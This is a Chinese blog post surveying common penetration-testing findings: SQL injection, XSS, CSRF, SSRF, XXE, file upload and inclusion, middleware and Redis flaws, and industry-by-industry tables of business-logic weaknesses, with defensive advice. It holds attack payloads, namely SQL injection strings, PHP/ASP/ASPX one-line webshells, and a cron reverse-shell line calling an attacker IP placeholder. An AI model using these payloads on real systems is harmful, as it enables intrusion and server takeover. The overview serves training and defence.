渗透测试常见点大全分析
2019-12-18 18:01 zouhui 阅读(1656) 评论(0) 编辑 收藏 举报大家好,我是Tone,前几天我们字节脉搏的活动获得行业内各家媒体、企业、粉丝的支持,在此我非常感谢各位,相继的奖品和开奖会陆续送出请耐心的等待。
此文主要是分析一下常见的web、系统、逻辑漏洞、各行业漏洞常见存在点,马上实习高峰期也要到来,各位有意向做渗透测试的同学请耐心观看,点点再看并转发,谢谢(有所不足欢迎提意见,毕竟我可能是想水一篇)
web漏洞
sql注入
SQL注入的产生条件
有参数传递
参数值带入数据库查询并且执行
类型
基于布尔的盲注
不返回数据库数据,结果false和true
基于时间的盲注
利用sleep()或benchmark()等函数让mysql执行时间变长
if(表达式,true,false)
if(length(database()>1,sleep(5),1))
基于报错注入
报错
多单引号
id=1'
extractvalue()
对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
concat()拼接
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))
样例
报错
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
error:~security
floor()
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
样例
正常
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
error:~security
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
原理
当传递一个大于709的值时,函数exp()就会引起一个溢出错误
样例
报错
elect exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
0按位取反就会返回“18446744073709551615”
~(select version())
18446744073709551610
报错
elect exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
联合查询注入
union注入
id=-1 union select 1,2,3
堆查询注入
分号隔开
引号闭合
%23----#
其他
宽字节注入
数据库编码为
GBK
绕过单引号被转义
实现
id=1%df'
id=1%df%5c
繁体“運”
/----%5c
二次注入
1、向数据库插入查询语句,不被执行
2、数据库调用,报错,返回错误信息
cookie注入
base64注入
类型
数字型
输入的参数为整形
字符型
输入的参数为字符串
数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合
防御
1、使用预编译语句
构造的sql语句时使用参数化形式
参数化处理sql 是将参数进行了字符串化处理,把参数中的单引号,井号#,等都做了转义处理,进而在执行sql语句时不会被当做sql中的定界符和指定符来执行。
不使用拼接方式
2、过滤危险字符
关键字
不正常的符号
模块注入
xss
跨站脚本(XSS)攻击
类型
反射型
<非持久化>
攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容)
场景
搜索页面
存储型
<持久化>
代码是存储在服务器中的,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
场景
在个人信息或发表文章等地方
DOM型
不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞
防御
1.对前端输入做过滤和编码
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的
对特殊字符进行过滤和转义
<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)
2.对输出做过滤和编码:在变量值输出到前端的 HTML 时进行编码和转义
3.给关键 cookie 使用 http-only
控制
(1)后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。
(2)在登录后才可以访问的文件中插入XSS脚本
XSS蠕虫
存储型的 xss,并且需要访问量大的页面或者关注按钮
场景
如微博,论坛
csrf
CSRF(Cross-site request forgery)跨站请求伪造
客户端发起
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作
由于没有在关键操作执行时进行是否由用户自愿发起的确认
攻击过程
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
防御
检验 Referer
二次验证,再次输入密码
筛选出需要防范 CSRF 的页面然后嵌入 Token
ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造)
服务器发起
由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网Web站点漏洞的利用
...
出现场景
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
防御
1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
xxe
XML External Entity Injection,xml外部实体注入漏洞
当允许引用外部实体时,通过构造恶意内容可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
防御
1、使用开发语言提供的禁用外部实体的方法
2、过滤用户提交的XML数据
1.检查所使用的底层xml解析库,默认禁止外部实体的解析
2.使用第三方应用代码及时升级补丁
文件上传
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
技巧
1、修改后缀,然后burp抓包截断后缀
%00
2、解析漏洞
apache
从右往左判断后缀
IIS
7.5
任意文件名后加.php
nginx
<0.8.32
1.jpg/1.php
>0.8.41<1.5.6
1.jpg%20.php 解析
3、sql注入写文件
(1)select '一句话' into outfile '路径'
(2)select '一句话' into dumpfile '路径'
一句话
Asp一句话:<%eval request(“xxx”)%>
Php 一句话:<%php @eval($_POST[xxx]);?>
Aspx一句话:<%@ Page Languag=”xxx”%><%eval(Request.Item[“xxx”])%>
图片一句话
防御
1.文件上传的目录设置为不可执行
2.判断文件类型
3.使用随机数改写文件名和文件路径
4.单独设置文件服务器的域名
5.限制上传文件大小
6.确保上传文件被访问正确返回
文件包含
php
地文件包含
nclude()
include_once()
require()
require_once()
绕过
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
点号截断
条件:windows OS,点号需要长于256
远程文件包含
RFI(Remote File Inclusion)
是指能够包含远程服务器上的文件并执行
allow_url_fopen = On
allow_url_include = On
绕过
问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
php伪协议
php://input
php://filter
...
jsp
asp
序列化与反序列化
序列化
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
反序列化
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
漏洞
15年的Apache Commons Collections 反序列化远程命令执行漏洞
系统漏洞
中间件漏洞
IIS解析漏洞
6.0
当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。
当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行
7.0/7.5
认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断
15年的Apache Commons Collections 反序列化远程命令执行漏洞
Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,可让readObject()实现任意命令执行
nginx
版本小于等于0.8.37,利用方法和IIS7.0/7.5一样,Fast-CGI关闭情况下也可利用。
redis
ssrf
Redis配合gopher协议进行SSRF
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
gopher协议
构造gopher协议的url
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
攻击方式
绝对路径写webshell
构造payload
构造redis命令
写ssh公钥
如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录
构造payload
构造redi
写contrab计划任务反弹shell
cron="nnnn*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1nnnn"%(reverse_ip,reverse_port)
weblogic
weblogic底层也使用Apache Commons Collections库,WebLogic 存在Java反序列化漏洞无疑的
针对weblogic 1036以下版本解决建议
(1)下载Apache官方最新的commons-collections包,替换有漏洞的commons-collections组件
(2)调整应用程序,使用SerialKiller类包替换进行反序列化操作的ObjectInputStream类。
针对10.3.6 及以上版本建议
Oracle每个季度都会更新补丁集合,这个补丁集合不仅包含软件的安全漏洞修复而且包含软件的功能漏洞修复。所以不管怎样,即使没有完全解决反序列化漏洞,打补丁还是很有必要的。至于修复了哪些漏洞建议查bugsfixed 列表
推荐Configure Weblogic Connection Filters
思路:需要禁用t3协议,但是不能禁死,对于受管节点或有需求的特定节点,需要放开限制。
业务逻辑漏洞
业务逻辑漏洞会话类
会话固定
会话仿冒
账号锁定失效
1、密码类
任意用户密码修改/重置
修改密码/重任意用户密码找回
重置流程跨越
2、授权类
水平越权
垂直越权
未授权访问
图形验证码绕过
3、交易类
金额数据篡改
负值反冲
4、接口调用类
重放攻击
短信轰炸
邮件轰炸
恶意锁定
5、其他
顺序执行缺陷
时间刷新缺陷
投票刷票
路径可控制
各行业常见漏洞
互联网行业 | |
通用业务模块 | 业务逻辑漏洞 |
登陆 | 暴力破解用户名密码 |
撞库 | |
验证码爆破和绕过 | |
手机号撞库 | |
账户权限绕过 | |
注册 | 恶意用户批量注册 |
恶意验证注册账户 | |
存储型XSS | |
密码找回 | 重置任意用户账户密码 |
批量重置用户密码 | |
新密码劫持 | |
短信验证码劫持 | |
用户邮箱劫持篡改 | |
后台管理 | 管理员用户名密码绕过 |
目录遍历 | |
会员系统 | 用户越权访问 |
个人资料信息泄漏 | |
个人资料遍历 | |
传输过程 | COOKIE注入 |
COOKIE跨站 | |
COOKIE劫持 | |
明文传输 | |
评论 | POST注入 |
CSRF | |
存储型XSS | |
遍历用户名 | |
P2P金融行业 | |
通用业务模块 | 业务逻辑漏洞 |
登陆 | 暴力破解用户名密码 |
撞库 | |
验证码爆破和绕过 | |
手机号撞库 | |
账户权限绕过 | |
注册 | 恶意用户批量注册 |
恶意验证注册账户 | |
存储型XSS | |
密码找回 | 重置任意用户账户密码 |
批量重置用户密码 | |
新密码劫持 | |
短信验证码劫持 | |
用户邮箱劫持篡改 | |
购买支付 | 商品金额篡改 |
商品数量篡改 | |
交易信息泄漏 | |
充值 | 虚假充值金额 |
充值数量篡改 | |
篡改充值账户 | |
抽奖/活动 | 刷取活动奖品 |
盗刷积分 | |
抽奖作弊 | |
代金卷/优惠卷 | 批量刷取代金卷/优惠卷 |
更改代金卷金额 | |
更改优惠卷数量 | |
订单 | 订单信息泄漏 |
用户信息泄漏 | |
订单遍历 | |
账户 | 账户绕过 |
账户余额盗取 | |
账户绑定手机号绕过 | |
会员系统 | 用户越权访问 |
个人资料信息泄漏 | |
个人资料遍历 | |
传输过程 | COOKIE注入 |
COOKIE跨站 | |
COOKIE劫持 | |
明文传输 | |
评论 | POST注入 |
CSRF | |
存储型XSS | |
遍历用户名 | |
电商行业 | |
通用业务模块 | 业务逻辑漏洞 |
登陆 | 暴力破解用户名密码 |
撞库 | |
验证码爆破和绕过 | |
手机号撞库 | |
账户权限绕过 | |
注册 | 恶意用户批量注册 |
恶意验证注册账户 | |
存储型XSS | |
密码找回 | 重置任意用户账户密码 |
批量重置用户密码 | |
新密码劫持 | |
短信验证码劫持 | |
用户邮箱劫持篡改 | |
购买支付 | 商品金额篡改 |
商品数量篡改 | |
交易信息泄漏 | |
抽奖/活动 | 刷取活动奖品 |
盗刷积分 | |
抽奖作弊 | |
代金卷/优惠卷 | 批量刷取代金卷/优惠卷 |
更改代金卷金额 | |
更改优惠卷数量 | |
订单 | 订单信息泄漏 |
用户信息泄漏 | |
订单遍历 | |
账户 | 账户绕过 |
账户余额盗取 | |
账户绑定手机号绕过 | |
抢购活动 | 低价抢购 |
抢购作弊 | |
刷单 | |
运费 | 运费绕过 |
会员系统 | 用户越权访问 |
个人资料信息泄漏 | |
个人资料遍历 | |
传输过程 | COOKIE注入 |
COOKIE跨站 | |
COOKIE劫持 | |
明文传输 | |
评论 | POST注入 |
CSRF | |
存储型XSS | |
遍历用户名 | |
第三方商家 | 盗号 |
商家账户遍历 | |
越权访问其他商家用户 | |
政务行业 | |
通用业务模块 | 业务逻辑漏洞 |
登陆 | 暴力破解用户名密码 |
撞库 | |
验证码爆破和绕过 | |
手机号撞库 | |
账户权限绕过 | |
注册 | 恶意用户批量注册 |
恶意验证注册账户 | |
存储型XSS | |
密码找回 | 重置任意用户账户密码 |
批量重置用户密码 | |
新密码劫持 | |
短信验证码劫持 | |
用户邮箱劫持篡改 | |
后台管理 | 管理员用户名密码绕过 |
目录遍历 | |
业务查询 | 恶意查询 |
办理人信息泄漏 | |
业务办理 | 顶替办理 |
绕过业务流程办理 | |
篡改其他办理人信息 | |
办理人信息泄漏 | |
传输过程 | COOKIE注入 |
COOKIE跨站 | |
COOKIE劫持 | |
明文传输 | |
评论 | POST注入 |
CSRF | |
存储型XSS | |
遍历用户名 | |
电商行业安全服务测试范围 | |
常规漏洞名 | 常规漏洞分类 |
注入漏洞 | HTML注入-反射性(GET)(POST)(Current URL) |
HTML注入-存储型 | |
iFrame注入 | |
LDAP注入(Search) | |
邮件Header注入 | |
PHP代码注入 | |
SQL注入(POST/搜索型)(POST/Select) | |
SQL注入(AJAX/JSON/jQuery) | |
SQL注入(Login form/Hero)(Login form/User) | |
SQL注入(SQLite)(Drupal) | |
SQL注入-存储型(Blog)(SQLite)(User-Agent) | |
SQL注入-盲注(Boolean-Based)(Time-Based)(SQLite) | |
XML/XPath注入(Login Form)(Search) | |
跨站XSS漏洞 | 跨站(XSS)-反射型(GET) |
跨站(XSS)-反射型(POST) | |
跨站(XSS)-反射型(JSON) | |
跨站(XSS)-反射型(AJAX/JSON) | |
跨站(XSS)-反射型(AJAX/XML) | |
跨站(XSS)-反射型(Back Button) | |
跨站(XSS)-反射型(Login Form) | |
跨站(XSS)-反射型(PHP_SELF) | |
跨站(XSS)-反射型(User-Agent) | |
跨站(XSS)-反射型(Referer) | |
跨站(XSS)-存储型(Blog) | |
跨站(XSS)-存储型(Change Secret) | |
跨站(XSS)-存储型(Cookies) | |
跨站(XSS)-存储型(SQLiteManager) | |
跨站(XSS)-存储型(User-Agent) | |
安全配置错误 | Arbitrary File Access (Samba) |
Cross-Domain Policy File (Flash) Cross-Origin Resource Sharing(AJAX)Cross-Site Tracing (XST)拒绝服务攻击 (Large Chunk Size) 拒绝服务攻击 (Slow HTTP DoS) 拒绝服务攻击 (SSL-Exhaustion)拒绝服务攻击 (XML Bomb) 错误的安全配置:FTP错误的安全配置:SNMP错误的安全配置:WebDAV 本地权限提升 (sendpage)本地权限提升 (udev)中间人攻击 (HTTP)中间人攻击 (SMTP)各种文件泄露Robots 文件 | |
登录认证缺陷 | 登录认证缺陷- 验证码绕过 |
登录认证缺陷- 找回密码功能 | |
登录认证缺陷- 登录框漏洞 | |
登录认证缺陷- 登出管理 | |
登录认证缺陷- 密码爆破 | |
登录认证缺陷- 弱口令 | |
会话管理 - 管理后台 | |
会话管理 - Cookies (HTTPOnly) | |
会话管理 - Cookies (Secure) | |
会话管理 - URL中泄露Session ID | |
会话管理 - 强会话 | |
Insecure Direct Object References | 不安全的直接对象引用 (修改密码) |
不安全的直接对象引用 (密码重置) | |
不安全的直接对象引用 (订票的例子) | |
敏感信息泄露 | Base64编码 |
BEAST/CRIME/BREACH Attacks | |
HTTP明文传输用户名和密码 | |
心脏滴血漏洞 | |
Host Header 攻击(Reset 投毒) | |
HTML5 Web Storage (Secret) | |
POODLE Vulnerability | |
SSL 2.0 Deprecated Protocol | |
文本文件(账号) | |
权限控制不严格 | 目录遍历 - Directories |
目录遍历 - Files | |
Host Header 攻击 (缓存投毒) | |
Host Header 攻击(Reset 投毒) | |
本地文件包含 (SQLiteManager) | |
Remote & 本地文件包含 (RFI/LFI) | |
限制访问终端设备 | |
限制文件夹访问 | |
Server Side Request Forgery (SSRF) | |
XML 外部实体攻击 (XXE) | |
跨站请求伪造 (CSRF) | Cross-Site Request Forgery (修改密码) |
Cross-Site Request Forgery (Change Secret) | |
Cross-Site Request Forgery (Transfer Amount) | |
使用了存在漏洞的组件 | 缓冲区溢出(本地) |
缓冲区溢出(远程) | |
Drupal SQL 注入 (Drupageddon) | |
心脏滴血漏洞 | |
PHP CGI 远程代码执行 | |
PHP Eval 函数 | |
phpMyAdmin BBCode 标签 XSS | |
破壳漏洞 (CGI) | |
SQLiteManager 本地文件包含 | |
SQLiteManager PHP 代码注入 | |
SQLiteManager XSS | |
其他类型漏洞 | 点击劫持 (Movie Tickets) |
客户端验证 (密码) | |
HTTP参数污染 | |
HTTP Response Splitting | |
HTTP Verb Tampering | |
信息泄露 - Favicon | |
信息泄露 - Headers | |
信息泄露 - PHP version | |
信息泄露 - Robots 文件 | |
不安全的iframe (登录框) | |
上传漏洞 | |
其他漏洞 | A.I.M. - No-authentication Mode |
Client Access Policy File | |
Cross-Domain Policy File | |
Evil 666 Fuzzing Page | |
Manual Intervention Required! | |
未被保护的管理后台 | |
We Steal Secrets... (html) | |
We Steal Secrets... (plain) | |
WSDL File (Web Services/SOAP) |
以上行业漏洞内容有个别借鉴,但是找不到出处,请作者见谅如有侵权可联系我。
- To Be Continued -
关注「测试开发社区」
把握前沿Python测试开发技术脉搏
好文章,我在看❤️
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!